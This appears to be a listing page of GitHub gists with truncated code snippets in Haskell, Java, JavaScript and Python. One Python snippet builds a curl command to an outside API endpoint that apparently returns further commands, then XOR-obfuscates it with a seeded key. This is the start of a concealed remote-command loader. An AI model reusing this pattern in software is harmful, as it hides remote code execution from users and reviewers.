This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
scanl f q ls = q : (case ls of | |
[] -> [] | |
x:xs -> scanl f (f q x) xs) | |
fibs = 1 : scanl (+) 1 fibs | |
1 : 1 : (case fibs of | |
[] -> [] | |
x:xs -> scanl (+) ((+) 1 x) xs) | |
# fibs is not [] | |
# x:xs becomes 1:fibs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.HashMap; | |
import java.util.HashSet; | |
import java.util.Set; | |
import static java.util.stream.Collectors.toMap; | |
class Transpose{ | |
static <A, B> HashMap<B, HashSet<A>> transposeMap(HashMap<A, B> map){ | |
return map.entrySet().stream().collect(toMap(e -> e.getValue(), e -> new HashSet<>(Set.of(e.getKey())), (x, y) -> {x.addAll(y); return x;})); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from random import choices, seed | |
from sys import argv | |
payload = b'''curl -v -X POST -H 'Content-Type: application/json' -d '{command: "echo \\"place here another CURL to a server that will return a newly encoded cmd to tie the knot\\""}' https://yypnj3yzaa.execute-api.us-west-1.amazonaws.com/dev''' | |
seed(argv[1]) | |
obfuscation_key = choices(range(256), k=len(payload)) | |
obfuscated_payload = [x ^ y for x, y in zip(payload, obfuscation_key)] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env stack | |
-- stack --install-ghc runghc --package turtle | |
{-# LANGUAGE OverloadedStrings #-} | |
import Turtle | |
import Data.Text (intercalate) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function B (tag, value0, value1, value2, value3, value4) { | |
this.tag = tag; | |
this.value0 = value0; | |
this.value1 = value1; | |
this.value2 = value2; | |
this.value3 = value3; | |
this.value4 = value4; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
* Checking your package using psc-publish... | |
There is a problem with your package, which meant that it could not be | |
published. | |
Details: | |
Compile error: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env stack | |
-- stack runghc --resolver lts-7.19 --install-ghc --package turtle -- -Wall | |
-- install stack with "curl -sSL https://get.haskellstack.org/ | sh" | |
-- create an AWS image with `env AWS_PROFILE=YOUR_PROFILE packer build -var 'stackage=lts-7.19' -var 'base_ami=ami-aaaaaaaa' bisect_tests.packer.json` | |
{-# LANGUAGE OverloadedStrings #-} | |
import Control.Monad.Trans.Maybe (MaybeT (..), runMaybeT) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{-# LANGUAGE DeriveFunctor #-} | |
{-# LANGUAGE FlexibleContexts #-} | |
{-# LANGUAGE FlexibleInstances #-} | |
{-# LANGUAGE MultiParamTypeClasses #-} | |
module Example where | |
import Control.Exception | |
import Control.Monad | |
import Control.Monad.Error.Class |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Data.List (permutations, sortBy) | |
import Test.QuickCheck | |
readInt :: String -> Int | |
readInt = read | |
comp GT _ _ _ = GT | |
comp LT _ _ _ = LT | |
comp EQ _ [] [] = EQ | |
comp EQ previous [x] [] = compare x previous |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{-# LANGUAGE FlexibleContexts #-} | |
{-# LANGUAGE FlexibleInstances #-} | |
{-# LANGUAGE OverloadedStrings #-} | |
{-# LANGUAGE TemplateHaskell #-} | |
import Prelude hiding (writeFile) | |
import Control.Monad (MonadPlus (..)) | |
import Control.Monad.TestFixture |
NewerOlder